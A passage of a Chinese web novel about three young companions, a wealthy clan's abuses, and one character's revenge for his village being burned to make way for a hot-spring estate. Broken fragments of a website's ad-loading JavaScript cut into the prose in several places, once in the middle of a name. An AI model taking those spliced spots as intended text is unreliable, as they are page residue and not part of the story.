怀永安摸了摸鼻尖,笑道:“自然,等这两日空下来,我就画。” “怎么样老板,能做吗?” “自然。不过小公子既然是定制,材料可要好些?”打铁匠手上功夫也不耽误,当即接过图纸。 “都有什么材料?” “陨铁。” “你这摊上有陨铁?” “陨铁这是地里捡的,可与不可求。” “那就陨铁吧。多少钱?” “十两。” “这么贵,不是捡的吗?” “可遇不可求啊。” “六两,不行我就去别家了啊。” “成交。” 怀永安当即止住,转头跟路壬说:“完了,谈高了。” “什么时候能拿?” “过两天。” “要绝世神兵啊!” “保证绝世神兵!” 回去的路上,路壬和怀永安仍在复盘。 “你觉得为什么那些人要刺杀我呢?” “围脖。” “云家的人给他的围脖,云家人是不是要杀他?” “有可能,但为什么? “像卢家那样,夺权争斗?云家的老爷子还在呢,就这样?真死了还得老?” “过两年,病了,但没死。” “该不会事被气得吧。” “不好说,没准。” “给云配换个围脖吧。” 怀永安指了指挂起的毛皮摊子:“大冬天的,容易心凉。” 12. 似是区区长鲜欢 云配醒来就是床上多了一堆皮子,什么毛的都有。 “你们去打劫了?” “挑一挑,我们选了好久。” “那就这个吧。”随便拿起一个就围在脖子上。 “年轻人,多挑一挑,别到时候娶亲也随便指个新娘成亲。” “哪里就跟娶亲牵扯上了,大约会是家里安排,选不选都没什么意义。” 路壬翻了个白眼,不是的,要不是他拉着人家姑娘浪迹天涯,哪里出来得后来的祸事。 “你最好不要这话说的太早。” “梁家兄长近几日可有什么消息。” 也不知仲安怎样了,他们去庄子闲逛,仲安现在大抵在牢中吃不饱穿不暖吧。 “暂时还未有消息,今早已经让邓伯去安排人联系绪州和宣城那边了。” “别担心别人了,先担心担心自己。。。。。。的肚子吧。” “我们不用早膳吗?” “回云府,昨天晚上我们带你彻夜未回,总要给你家一个说法。估计要在你家用个膳了。” ------- 这会风雪已经停住了,天总算放晴了,临安很少见那么大的雪,所以很多人门前都没舍得扫。 云家亦是,地上的白雪被人踩薄,硬硬的结在青石板上,像是白玉镶嵌。 云配二叔家里已经吃上饭了,吓人来报时,有些战战兢兢,大抵云二叔发脾气了。 进了内院,三人瞧见云二叔黑着脸,就差把“你们这两个狐朋狗友”写脸上了。 太难了吧。 “二叔,昨日我们碰上了刺杀,匆忙回府,忘了隐蔽路线,怕那些盗匪追到家里来,赶忙出去另寻了隐蔽之处。今日一早便赶回来了。也怕打扰到四哥。” “罢了。 ” “二叔,最近几日怎么未看到三哥?” “你三哥去忙其他事了,你不要打扰他,有空可以陪你四哥说说话。” “是。” -------------- 云焕住的地方很是僻静,适宜疗养。 “小五来了?卢姑娘,卢公子。”云焕笑得很开心,朝他们行了个礼。 “云四公子。” “不必拘束,先前在梅林见卢姑娘似乎有写畏寒,便没有久聊,如今在室内饮些热茶,谈谈心也是好的。” 怀永安登时便绝这个事情并不简单。 谈心?大家刚认识,就找人谈心,有些图谋不轨了吧。 怀永安掐了路壬一下,用眼神给路壬示意:“有诈啊,有诈,没准他要套我们话。” 路壬眨眨眼睛表示:放心,他套不出来什么。 “卢公子和卢姑娘这是初来这边,可还习惯这边的吃食?” “还可以。” “这是厨房新作的梅花糕,用的那日新采的花瓣,陷里也有糖渍的花瓣,两位尝一尝可还可口?” 小巧精致,甚至做成了红色,也不知道用什么食材染就得这个色。 “甜,好吃。”路壬咬了一口,当真不错,原本有些防备得神态也松动了几分。 “卢姑娘若是喜欢,再让厨房做,横竖梅林里梅花多的是。” “四哥,你今天话好多啊。”云配有看了看自己哥哥身上得易府,跟昨日那套颜色差不多,不过华贵正式了些,虽是仍用一根绿檀簪子束发,但簪子上的纹路似乎也换成了梅花,屋子里还有些熏香。 “是吗?可能是今日瞧见你们精神好,自然也就话多了些。我这样你们不会觉得不耐烦吧。”云焕微微一笑。 “自然不会。”怀永安已经被糕点收买。 “四哥,你今天屋里熏香味,你不是最闻不得了吗?” “许是下面的人熏被褥来着,无妨的,他们也是为我着想。” 路壬接了句:“四公子脾气真好。” 算是个不错的东家。 “哪里哪里,我们家脾气最好的是大哥了,什么气都不会生的,像个活菩萨,小五以前把大哥辛辛苦苦绘制的舆图撕了,都没舍得说一句重话。” “你还干过这事呢。”怀永安觉得哪里不对,只是又未想起来。 云配又些不好意思:“年少不懂事,还好大哥脾气好。” “是啊,换了二哥,怕是要按着你让你画个一摸一样的。”云焕笑道。 说这时,云焕瞧瞧看了眼路壬。 她正在一心一意的吃着梅花糕,没再参与进来。 “四哥,你今天有点奇怪。” 云配注意到云焕的目光,不明所以。 路壬也察觉,但也没什么反应。 就好像路壬从没察觉过别人的爱意。 恰到好处的美貌,既不侬艳,也不寡淡,恰如其分的泯然众人,正如她的名字,不那么容易被人记住,又不那么容易被人遗忘,很适合当个记忆中的点缀。 “哪里奇怪了?” “说不上来。” “你多久没见我了,那么久都不知道给我来封信。”云泱伸出食指,点了一下弟弟眉心。 “我这不是来了吗?” “不错。为兄甚是欢喜。” 云焕笑的时候,察觉到路壬的视线,路壬也笑了,浅浅的。 直愣愣的眼神没有躲闪,倒叫他有些不好意思,片刻茫然后,复又眯着眼笑了起来。 “今日梅花开的很好。” 浅浅的,不着痕迹的,摧枯拉朽般,就那么在雪中开了。 “梅花糕好吃。”云配如是说。 云焕的笑意更深。 云配软磨硬泡,好歹云焕同意了跟他一起去红叶山庄。 梁思珃那边依旧没有什么回信。 云配不可避免的又担心起来。 仲安啊,你且等一等,很快你就会出来的。 ————— 路壬和怀永安赶了个大早去取剑。 两人孤零零在寒风中站了许久。 “卯时啊,我们为什么要来这么早?人家店都没开门。” “你那绝世神兵需要一个吉利的时辰。” “六两银子,你还真以为能买到什么绝世神兵?” 正巧这时打铁匠拿着两柄深银灰色的剑走来,剑身瞬间发出一声铮鸣。 “绝世神兵!” “陨铁打出了两把剑,一把是小公子定制的,另一把我是不舍得这好材料,找人做了副图,比照着打的。” “为何不能用在一把剑上?” “小公子,这剑若更重,则其势也更大,易伤敌,更易伤己,且这剑啊,与剑主身高、肩长、臂长、腿长都有讲究,就是读书人说的那个“过犹不及”。” “另一把剑可有人订下?”路壬点点头。 “无人。” 路壬又从怀中掏出银子: “那便一同买了吧。” “那便按十两吧,也是这块陨铁同两位的缘分。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ” 路壬掏的很痛快,这手艺即便不加上那块地里捡来的陨铁,也是合适的。 “你要改用剑?” “不是,只是觉得两把都拿着比较好。另外一个你也留着吧,毕竟同一块陨铁出来的剑,并不好寻。” 打铁匠笑着称了银子:“二位可还需要刻个剑名?” “你的剑,你取。” 怀永安左右手接过两柄剑,登时退远点,舞了剑花,还给打铁匠家砍了几块柴。 “一叫山海,一叫草木。或者一叫山海,一把方寸,哪个好听?” 路壬很认真思虑道:“山海好听。” “……” ———— “今年江南冬日格外冷,倒是可以去庄子上修养。” 天空又起了薄雪,路壬和怀永安已经带着两把剑回来,云配也已在马车中安置好。 云焕披着紫貂裘,手上捧着用暮舒锦包裹着的紫金炉,两个侍女在他头上撑着伞,另外两个小厮扶着他登上马车。 优雅舒缓到路壬想直接把人薅上来。 就三尺高,就三尺高! 顺着风,散落周身的水沉香冷冽弥漫,恰到好处的清浅,像他身上莺草色一般,沉寂的枯朽后藏着生机。 他自幼多病,马车后跟着同行的乌泱泱一大群人。 太夸张了。 怕是王孙公子也不遑多让。 轿帘掀开时,寒风当面袭来,路壬不禁打了一个寒颤。 “久等了。平日里倒是很少与人同乘,路上有人说说话也是热闹呢。” “四哥,他们怎么又给你熏香了,我去找他们理论。” 云焕愣了片刻,伸出手轻拍了下云配肩头:“小五,无妨的,不要事事冲在前头。” “你院子里的人不会觉得你身体不好苛待你吧?” 怀永安一旁翻着白眼,大户人家,这样都得算苛待了? “父亲在家中,谁敢苛待我啊?” “行吧,若是有事,还是得跟二叔说一说。” 马车行进时,临安长街上,许多衣衫褴褛的人或坐,或站,或行,身后的马车往街上撒出许些铜钱,雪地里都映着些金光。 “云家来了,云家来啦。” “谢谢老爷,老爷洪福齐天。” 云家是好还是坏呢? 路壬发现自己很容易爱屋及乌,所以云配出生的这个家,大概也会觉得干干净净。 这座江南最富有的城池,云顶之上,是累世簪缨的世家,泥沼之中,是遍地褴褛的小民。 路壬继续看着外面,没有转头,却抛出一个问题给马车里的另外三人:“云家在临安人眼中是什么样的呢?” “各过各的,互不影响?行善积德?”云配不明白为何路壬要问这个?即便出门时偶尔撒些银钱,可临安人能怎么看云家,不外乎偶尔大方的一家人吧,能有什么? 云焕声音清脆和缓:“卢姑娘觉得呢?其实所谓人心,总是相信自己相信的,道听途说的比不上自己亲眼所见的。我并不知道临安人眼中云家,或许这一路上,姑娘可以继续看一看。” “眼见不一定为实,只是确实比道听途说要好很多。”路壬颔首。 马车外有衣料摩擦到车厢的声音。 “长生仙,长生教?”路壬瞧见了一群黑袍的人走过,他们大都面上毫无表情,有些像提线傀儡。 长生教最早居然是临安先起的…… 13. 惆怅东栏一株雪 “邪教罢了,官府最近在镇压。”云焕注意到路壬的目光,便解释道。 怀永安瞥了一眼大摇大摆的教众:“看起来官府不是特别重视。” “官府大抵觉得成不了什么气候。”路壬轻叹一口气。所以长生教后来从南到北教众无数,以致后来与朝廷正规军相遇都分庭抗礼。 “千丈之堤,以蝼蚁之穴溃;百尺之室,以突隙之烟焚。如此轻视,难说。”一直敞着窗,云焕咳嗽了两声。 路壬忙放下帘子,又动手将缝隙遮了遮。 “抱歉。” “无事,是我这身子拖累了。许久没出来了,有些兴奋。” “若是开春了,去林里水边走走也是好的。”路壬说着说着就笑了,眉眼弯弯,像是已经瞧见了春和景明。 “还早呢,雪还未化。”云配败兴致的说道。这个冬天太冷太长,无从诉说,还未识过愁滋味的他,竟也开始伤春悲秋。 路壬眼睛一片赤诚,未曾听出云配莫名其妙的情绪:“没事。雪总会化的。” “红叶山庄引了一处温泉,那周围的雪大概已经化了。什么时候我们小五竟因雪未化惆怅起来了,分明先前抱怨临安的雪不够打雪仗。” “临安已经很冷了,京中应该更冷了吧。” “是啊,不过祖父和伯父伯母听说你离家出走时,大概心更冷了。” 几人不约而同的笑了笑,多少显得有着落寞。 红叶山庄建在半山腰,虽是山路却一点不崎岖难行,路壬睡着都未觉得颠簸。 牌匾低矮,门也不大,并不逾制,却有些说不出的精巧,任谁皆不会说这是个普通的大门。 身后的侍女和侍卫鱼贯而入,引着他们几人前行。 院中许些枫树,不过不像后面移栽的,应当是依山而建,将原有的枫树圈在了院中,错落有致,又自得天然,也应了“红叶山庄”这名字。 “这园子那么大,怕是夜里会迷路。” “夜里道上皆会掌灯,卢公子不必担心。” “这红叶山庄不知占地几亩?未曾瞧见过这般园子,竟让我迷了眼。”怀永安笑问。 “我也未曾丈量过,卢公子也可试试量一量。” “听说我家的田,云家也要买呢,不知道这山上有没有我家片叶。” 至此,连云配都觉察出来不对劲。 云焕还未解释,怀永安便飞快道:“玩笑罢了,我家那一瓜两枣的,云家大抵看不上。” “园子附近的没几处人家,盖园子时都给了足以安置的银子,如今想来已经在城中买了宅子。此处倒是未曾听说有卢家的私产,卢公子不必着急,我遣人问一问。” “是嘛,那就劳烦云公子了。”怀永安原本冷漠的脸上勾起一抹笑,笑出两处梨涡,又朝云焕行了礼。 这事面上瞧着是过去了。 云焕也被人搀着去休息。临行前让人带着云配他们逛一逛园子。 任谁也不知怀永安的突然发难。 路壬本以为他在替卢家打抱不平,小声道:“没事,地不给他们,打死都不给。” “嗯……”怀永安垂下头,蹲在地上,好像天地浩大,独他无家可归。 他蹲下的地方,不一会便有几处小小的雪坑。 “都下去罢。”云配摆摆手,驱散了跟随的仆从,缓缓的走在怀永安年前蹲了下去,掏出帕子,“不是卢家。” 云配说事情时,总喜欢说肯定句,也不知他是对答案太过自信还是对自己太过自信。 但此刻,他说的对,怀永安拿袖子抹了下脸,眼周发红,已经没有泪了,只是睫毛仍是濡湿的。 怀永安什么也没说,蹲在那里僵住,不知下一步动作是何。 路壬将人扯了起来:“都有两把剑了,谁欺负你就去砍谁,砍不过我帮你一起砍。” “算了,我们卢家可是书香门第,清流世家。”怀永安噗的一声笑了出来。 云配想着继续安慰,总觉哪里不对,后知后觉,:“你们是说想砍我家?” “你听错了。”路壬睁眼说瞎话。 “那,两位书香门第的公子小姐,可要用些膳食?小的带路。”云配试图学一下二人的白眼,徒劳而已,只好对着二人做出一个请的姿势。 ———— “有青菜?” “说是山庄引了温泉水来,又用明瓦搭建暖棚,因而冬日便可种植出青菜。” “真是奢靡。”怀永安夹了一根不大的菜叶,直接咽了下去。 “是……有些。”云配第一次来红叶山庄,也被山庄的规模惊到了,这,逾制了。 “多吃些吧,反正不费你的钱。”路壬用筷子敲了敲盘子。 怀永安止住她:“敲碗敲盘子,容易穷一辈子,别敲了。” “多用些吧,你若觉得奢靡咱们晚上偷偷把菜拔了。”云配无奈,“你们先用,我去看看四哥。” 云配悄悄走近云焕的房间,还未推门便听得:“抖抖雪再进来,让砚书给你把斗篷挂去熏一熏,去去寒气。” 云焕已经用过膳了,侧卧在榻上温书。 房中地龙烧的恰到好处,让人察觉到一阵春意。 “四哥。” “小五,怎么了,受委屈了?”云焕招招手让他坐近些。 “都下去。”云配朝身后众人道。 云焕默许的点了头,再侍从便都退下了。 “四哥,红叶山庄太过奢靡了,且已经逾制,我在临安酒楼还听说我们家强占百姓百里良田……况且祖父还在任上,这等做法无益于祖父声名。” “就是为了祖父。咱们祖父如今这个位置,子孙若是争气,芝兰玉树,名题金榜,反而不是好事。陛下是不希望祖父有太出众的儿孙的。你在京城总也得读些典籍吧,怎么连这其中的关窍都不懂?” “那我们家侵占良田的百姓怎么办?这个时候,即便将地还回去,都已经来不及播种了。” “赔了很多,哪家不满意,直接去衙门告即可。” “他们告了会有什么结果?” “小五,哥哥不知道。”云焕摸了摸云配的头,说的很温和。 云配意识到省略的那一句话:“没有人去衙门告过。” 他是既得利益者,世间规则于他并无坏处。只是这样的规则是否可以长久留存?同样的,他也不知道答案 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 云配折返回去的路上,迷了路,也不知怎么误入了处园子,空空如也,也未点灯。 云配将手上提的灯放低了些,照着地面。雪还未停,地上许多脚印还未被完全隐藏掉。 似乎雪地上有一处鸟头一般的印记,看不真切。 他蹲下身来,本欲细细探查,只是有人喊道:“什么人?” 是云明的声音。 “三哥!我在这。”云配瞧见云明打着灯笼走来,忙起身招招手。 “大冷天的,跑这来干什么,山中野林,也就屋里和温泉池子暖和。”云明将自己身上披的氅脱给他,又将云配手中的灯接过来,“走吧,送你回去,能跑这来估计是找不着路正要哭呢。” 云配没顾三哥的嘲笑,将与四哥说的话又说了一遍。 云明笑道:“告了,就需要像你哥这种大清官,不偏不倚的断案。” “那要是碰不到呢?” “把希望都寄希望于别人,本身就不是件十拿九稳的事情,但不试试,怎么知道?”云明也拍了拍云配脑袋,“很多事吧,本就不是写在书上说一不二的,别太把所谓的规则教条当回事。” 世间种种,王朝更迭,颠覆规则的多了去了。 “我还是有些想不通。” “想不通就交给时间。处理事情时,自己舒坦才是最要紧的。” “我知道了。对了三哥,你怎么来庄子上了?” “闹鬼,父亲让我回来看看,本来以为逮着鬼呢,谁知道逮着你。” “多久了,怎么没听说。” “多新鲜啊,你都听说了的话,圣上都快知道了。家丑不可外扬,懂不懂?”云明凑上前去,弹了云配一个脑瓜崩。 “那要不我帮你捉鬼?” “哪里有鬼,肯定是有人搞鬼,你就别掺和了,该吃吃,该喝喝,带着朋友溜完之后,再过些时日跟我回绪州。梁长史催着我要人呢。” “大冬天的,哪里有什么好溜的,吃的也就那些……” 云明在方才的地方,又弹了云配一个脑瓜崩:“你是真不当家不知柴米贵,不干活不知三哥累。大冬天蹲个野林子,这活谁乐意谁做。” “你带我看看?”见云明不为所动,云配继续道,“我那朋友能耍大刀的,她说她能辟邪。” ——— “所以为什么我要半夜拿着刀在雪地里捉鬼?”路壬吞了口热茶。 “我胡诌的理由。” “他啊,就想赶紧将临安的事了了,回去找梁兄长。只是我的事还未解决完,我是不会走的。” “你的事是什么事?说出来我们也好早将事了,纵然我不能帮你,我也能去找二叔去帮忙。” “你们云家在江南势大是不是?你们地头蛇,土皇帝,只要事情沾了你们云家,就立马什么都解决了是不是?”怀永安轻笑道。 “你分明知道我不是这个意思。” “你分明也察觉到了,我什么意思。非要我挑明吗?若是与云家无关,我何苦受伤都要去抢你,当真不怕一大群江湖客,不怕小路大刀吗?” “所以你是来找云家报仇的。” “是。” 14. 物是人非事事休 路壬觉得他们打不起来,抱着杯子观战。 确实也未打起来了,怀永安也不过哼的一声转头过去。 也许仇恨确实是云氏的,但此刻怀永安似乎已将云配与云家一次的一清二楚。 云配又能如何,他行事想来由心,不曾亏心,只是替自己家族有些心虚。 “你讲事情始末说与我,我去给你报仇,再不成,我也是云家人,你报到我身上,要杀要剐,悉听尊便。” 怀永安红着眼揪住云配衣领:“云配,你真当什么事都能往你身上揽是不是?有些事不是你自己扛得住的。” 路壬还是适时打断,将云配往后拽了拽。 怀永安又指了路壬“还有你,凭什么你是姐姐,我是弟弟,我明明比你大!” 路壬狐疑,不知此事与她有什么相关:“你是不是喝醉了?我邻家阿伯喝假酒时,就是这个样子。” 开始胡言乱语,顾左右而言他了。 “我说了,我帮你。若真有此事,告到官府,我去给你当证人。” “官府?你祖父是丞相,真告了,临安的官敢接吗?我若真告了,你祖父再不济也会留你一命,她呢?”怀永安指着路壬。 卢家剩下的不过老弱病残,迁居路上都差点栽到水匪身上。 云家,于他们而言蚍蜉撼树罢了。 真去动了这棵树,路壬这个落魄家族的家主,死于什么意外都不奇怪。 现在他是卢绘,他和路壬答应了卢献要好好守着卢家。 路壬此刻一想便明白了。 “我……”云配不知道如何去做,从未有人教他什么万全之法。 “我现在还没那么想找死。起初我想着带你来江南,也不过就是想用你为要挟,逼云家交出始作俑者。可是你看啊,你们家管事的,下头办事的,好些人啊……我仇都不知道去哪里报。”怀永安嘴角的梨涡浸着泪,随烛光盈盈。 筹算来,谋划去,终究还是打算将故事娓娓道来。 “这片贵人的温泉汤池啊,先前几乎算是冬日山中一村落的唯一的钱财来源。 温泉水的灌溉能长出些野草野菜,能引得山中动物来饮水。村里人会活的比其他的村子要好些。 没有人想到贵人会看上这处不起眼的温泉,许以重金。村里人祖居此地,即便有重金也未想搬离,便推辞掉了。有人可惜,有人心疼,只是日子还是去往常一样过着。 没人意识到那笔未得的黄金,其实已经早早买了众人的命。 我在一处地方寻到了一位侠士的秘籍,彼时本想学着招式,盼望某日赢些浮名。故而天天趁打猎时,偷偷沉溺其中。也就是普通一日,我练的不知时间,再回去时天色已晚,我出去山洞时,村子的方向火红一片。 我总以为夜晚哪瞧得见枫叶啊,只是那天晚上瞧见了,正红的枫叶,正吞噬万物的大火,都可以瞧见。 我匆忙从后山绕过去,一群人拿着刀剑火把,在笑,在喝酒,在讨论今日回去主家给的赏钱。 远处,从小到大看着我的四叔在火里倒着,死死睁着眼睛。 大火从旺盛,到熄灭。人从尸体变成灰尘。” 没有哭声,挣扎声,整个夜过的很安详,似乎只是一场篝火狂欢。 等到天像往日亮起来的时候,只剩下断壁残垣和未灭透的烟了。 他分不清我家在哪,双亲倒在何处,世间独他孑然一身。 “在山中呆了七日,尸首没去收敛,我不觉得满地的灰烬我能从哪里收敛。”怀永安说着说着笑着又哭了起来,“不过很快就有人来收敛了,用高粱穗做成的扫帚将灰都扫了,撒在山下,他们用将那块地重新翻整,撒上了些花种,等着来年春天给贵人们开花。 等到我真的满心死志,沉入水中,打算漫随流水去时,我被一堵红墙挡住了。 好不好笑哈哈哈哈哈哈。 那个时候我意识到,我凭什么去死,该死的是那些把我们这群草民真当草的玩意,人命比草贱啊,他们觉得放把火一烧就将烧尽了。 我就想,总有一日要将这红墙砸了,要让始作俑者求生不得、求死不能,要让天下所有将我们当草的人,试试焚及自身的后果。 可是真难啊,临安这个地方告不了云家,没人愿意给一把草出头。 我动身上京,京中可以告御状。哪个少年读书时不想着当今天下不平事?律法铁条没有一条为我的不平事。 有怨诉苦的辨金铃满是灰尘,不知多久没有摇响,我摇了三天,没人理我,只是有人嫌弃我弄出来的杂音,让他们日夜未曾休息好。 就在我失魂落魄,不知如何是好时,恰好瞧见云家公子出城。实在蠢笨,学六艺的世家子,一条绊马索就让他摔了个狗吃屎。 有人先我一步绑了他,我急忙追赶,谁聊一个没看清被绊马索绊了一跤,往后栽去,一支箭朝我射来,正中腹部。我假装倒地昏死,谁知那人并未来查看我是否存活,径直离开。 为了追上那两人,我将箭拔出来便往那个方向赶。正巧到了客栈,瞧见方才二人裹着棉被上去。 我直接将守门人钱袋偷了,支开守卫,顺势去翻上二楼,谁料朽木不可攀,差点将我摔下去。 虚张声势般,吓唬他们,想要借他们一手,去报我的血仇……这就是故事原原本本的样子了。” 怀永安一口气讲完,竟也觉得畅快了一番。 路壬拿起刀,披上了披风,又将跌坐在地的怀永安扯起来扶住,对云配道:“我不能陪你捉鬼了,我要带他走,你保重,我还会来。” “可是……” 云配还想再说些什么,被路壬堵了回去。 “云配,你是个好人,我也不希望你出任何事情,你善良、有原则都不是坏事,他相信朋友和身负血仇也并不冲突,但是人会伤心,会失望,会难以抉择。” 路壬将刀挂在腰上,又将怀永安的两把剑拿在手中,撑着怀永安一点一点的走出去。 江南的雪仍然在下,只是比路壬先前淋过的更加冷冽。 “我们……去哪?” “回家去。”路壬低眉看了看脚下一片苍茫的雪地,又举目望了纷纷扬扬的雪,平常道。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 他们没去骑马,也没去借云家的马车,走了一夜,才走回临安城。 寒风吹着,才使人更冷静些。 老邓晨起开门时吓了一跳,二人一身的风雪,活像被人雪地里埋过一回。 “家主,公子,这这这……”老邓拍了拍膝盖,不知如何是好,忙喊人来扶着两人。 路壬脱了外衫直接躺在床上,被侍女扯了起来用雪擦手脚。 小丫头梳着双环,瞧起来不过十三四岁,有些面黄肌瘦,只是一双杏眼显得很伶俐。 “家主,这会是万万不可烤火的,需得用雪将冻僵的地方用雪搓能缓解一些,等家主手上热了,我再给家主用温水擦一擦。” “我知道这个办法。身子冷了用雪搓,心冷了还能用更伤心的事去填吗?” 云配没有切身的仇恨,所以她哪怕已经很替怀永安难过,也并不能感同身受。 云配也是,哪怕他善良,有自己的秉持,但他给出的结果未必是怀永安想要的。 矛盾一开始就存在,只不过是让两个原本善良的人挣扎沉浮而已。 若真能万事都逐流水去,也很好。 路壬知道,她就是个普通人,不会去想荡尽天下不平事,不平事何其多,哪有那么容易掺杂进别人的是非因果。 “这个奴婢不知道,但奴婢的爹娘从小就告诉奴婢,无论再艰难,日子总得过下去,我能活到现在已经比很多人要幸运了。 奴婢想伤心事再多、再伤心,总归是个事情,如果现在不能解决,十日,百日,总有一日也会解决的。 如果奴婢作为一个丫鬟不能解决,那也许奴婢哪日成了管家,成了更大的官,也许就能解决。” “你说的很好,你叫什么名字?” “我叫四丫,家里没钱了,我刚被邓伯买回来,还没给起,家主可以给我起个名字。” “你不喜欢原来的名字吗?” “原来的四丫已经死了,新的名字就是四丫的新生。”路壬理解她这套生命观并不透彻,但并不影响她觉得她这话生机勃勃。 “要是兄长在就好了,我不会起名字。”路壬叹了一声,“你去看看公子睡没睡,把你方才跟我说的这些话给公子说一遍,等会我跟你一起去让公子和邓伯给你起个好听的名字。” “是。” 四丫回来回禀时,脸上带着笑意,很是轻快。 “公子没睡,听了奴婢说的话还把邓伯给的药喝了。” 怀永安虚嗒嗒靠着软枕,但好歹脸上有些血色。 “快点,给人起个名字。” 怀永安扭头看了窗外,“叫杉宁吧,四季常青,人生长宁。” “好听,你觉得怎么样?”路壬转身问四丫。 “多谢家主公子赐名,四丫以后便是杉宁。” 老邓也笑道:“听起来是个有福气的,现在这世道,也不就求一个宁字嘛。” 怀永安笑道:“没事,邓伯,世道总会变好的,如果现在的我不能让它变好,也许成为大侠的我能让他变好,再或者成为大官的我会让它变好。” 15. 横空隐隐层霄 “你扛大刀辟邪的朋友呢?”云明抱胸歪着头笑云配。 “吵架了,走了。” “嗯?我守在马厩旁,没有别人。看起来你朋友生的气不是一般大。”云明摸了摸云配的头,微微蹙了眉。 “那怎么办呢?” “有误会就说清,有心结就解开。” “倘若没有误会呢?” “看诚意吧。” 对一个有血海深仇的人而言什么才算诚意? “那大概回不去了。” “三哥,仲安他家怎么样了?”云配忽然问道。 “你终于问到了,我还以为不在意呢。” “我这次离京就是为了救仲安。”云配正色道。 云明挑眉:“有义气,只是祖父在京中尚不得法,你跑回临安来有什么用,不会指望你四哥出主意吧。” “……” 云明见他沉默,当即右拳拍左掌道:“云小五,你该不会想在临安找人劫狱吧?” 云配目光朝左下看去,难免心虚。 “出息。一点没想到劫狱失败怎么跑是吧。” “劫狱,自然是要跑的。” “能耐了。那都这个时候了,你怎么还没去劫?”云明揪了下云配的耳朵。 “路……望她拿大刀,看着我不让我跑。” 云明当即朝着临安城的方向,双手合十拜了三拜:“谢天谢地,你结交的可终于不是狐朋狗友了。我明日必当准备大礼,亲自送到她家府上。” 云配纠结了片刻,决定不告诉他三哥有可能卢家被打出来。 不过红叶山庄的鬼,二人到底也没捉成。暂时留那逍遥几日,不然怕是整个人都骤然闲下来了。 云明忽然想到什么:“你回临安,原本是要找大伯母?” 云明想了半天临安有什么,云家哪个人能帮他做这等没脑子的事。 只是那位大伯母对他来说有些陌生,竟是被这冷风吹了半晌才想起来有这么个人。 他这大伯母杜明归当年也是响当当的人物,据说在西北边陲打过槿国王爷,还缴过弯刀。 只是这样鲜活的人物自从杜老将军去世后,就忽然礼也懂了,诗书也通了,贴身的刀剑也封存府库,再未打开。 大伯父爱她敬她,从不拘束。嫡长公子为她所出,府内中馈原也是交于她来主持。 自诞下云配后,便一心扑在云配身上,事事不假手于人。云配再大一些,被祖父贴身教养,她便一个人回了临安。 “是。” “需要我陪你去吗?” “不用了,三哥,我自己去。” 云配母亲不在红叶山庄,而且住在山间即慈寺的别院。 云配去的时候,山间台阶白茫茫,他便带着扫帚一级一级扫上山。 他也不知道自己个儿是个什么心情,想要见到母亲,内心却又想靠着扫帚的拖延推迟见面。 “母亲。” “来了。” “嗯。” 云配常常她的背影,长发流水般垂在地上,岁月从未试图在她身上留下任何痕迹。 “五郎,坐过来,让娘好好瞧瞧你。” 云配往前挪了挪。 他刚靠近,杜明归就抱住了他,素手捧着云配的脸:“我儿瘦了。” 母亲很心疼他,这些云配都知道,只是每次看到母亲时,她的眼中总有一种化不开的情绪,很伤心。 云配忽然想起那日大雪时,路壬看向他的眼神,悲伤、落寞。 朋友和自家母亲,莫名其妙且相似的眼神,让云配想好好的吹吹冷风缓一缓。 “劳母亲关心。” “我听说你来临安不易,你原应让你父亲安排些人送你过来,一路山高水阻,若是遇上盗匪怎得是好?” 已经被人劫了,不过此话他不敢同杜明归讲。 “没事的母亲,孩儿已经大了。”云配抬起手轻轻地拍了拍她的背。 杜明归的怀里总是淡淡的檀香,云配无端想起雪地里的琉璃珠子。 阳光下,冷冽,灼灼光华。 “母亲知道你遇上了很多不顺心的事,人这一辈子总会遇到,别因害怕失了分寸。”她细细的掖上云配散下来的零星头发。 “孩儿谨遵教诲。” 杜明归起身,从梳妆台处的暗格中取出一个紫檀木的盒子,交给云配。 “若是有一日遇上危险,会有人代母亲保护你的。” 云配打开盒子,是一个黄铜铸就的令牌,鸟首鱼尾,中间有个“令”字。 与路壬描述的印记太像了。 “母亲……这是哪里来的?” “等你再大些,母亲就告诉你出处好不好?以后你有了它,你就有暗卫,有死士保护你。”杜明归抚着云配的头发。 那块金黄的令牌就仿佛一条蛇缠绕上云配的手臂,麻木,动弹不得。 那个让皇帝后来大发雷霆,甚至将整个云家下狱的徽记,如今就在他手中。 “母亲,这种……来路不明的东西回害了家里的。把它丢了吧,孩儿不需要别人去为我献上生命。” 云配将令牌放了回去,扣上了盒子,交还给杜明归。 “五郎……”杜明归还要再劝些什么,云配已经起身行了礼,就倒着裹入风雪之中。 即慈寺鲜少人至,故而多是鸟雀之声。 云配一路下山,一路踩雪,无所事事地看着台阶上能不能踩到刚落下来的枯树枝,听个响声。 行了半山腰,都没有踩到合心意的枯树枝,云配索性伸手去够仍在书上的枯枝。 只是这是在冬日,他并不知晓怎么去判断枯枝,又恐多攀折果枝,便也止住了。 他忽然想到了什么,转身跑上即慈寺,就这样冲着风雪推开了大门,在杜明归惊讶神色中,径直取出了那个令牌。 云配从来没有那么正经地给杜明归行了一个礼:“母亲,孩儿,告辞。” ———— 云配下山时,动了好几次念头,将这令牌扔下山崖,等到来年春日,雪化了,大家一样过着安生日子。 安生不了了。 这个令牌足以调动去京中劫狱的人数。难怪路壬说自己会去劫狱。 还未待到云配下山,便有一个黑衣人模样的人无声无息出现在他身边。 “少主,属下莫飞,今后愿为少主孝犬马之劳。” 少主这个称谓让云配遍体生寒,这是舅舅杜 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 明重留下的亲卫?还是谁? “不需要。” “属下什么都能做。” “那你帮我找根到腰间的木棍,最好轻一点。” “是……属下即可就去,。 林子里多的是木头,只是恰到好处的却是没有。莫飞只好找了根合适粗细的,给他削了削。 “多谢。” 云配接过木棍,慢慢拄着拐杖下去,雪天路滑,还是要小心些。 “少主,可还有什么命令?” “你们有多少人?” “五百三十一人。” “解散吧,归隐山林,随便做些什么都好,别为我活着。”云配拄着拐杖一步一步走远,没有一丝犹豫。 云配想起先前追问路壬的问题:“那我带着定国公小姐逃走后,同我一起的黑衣人怎么样了?” 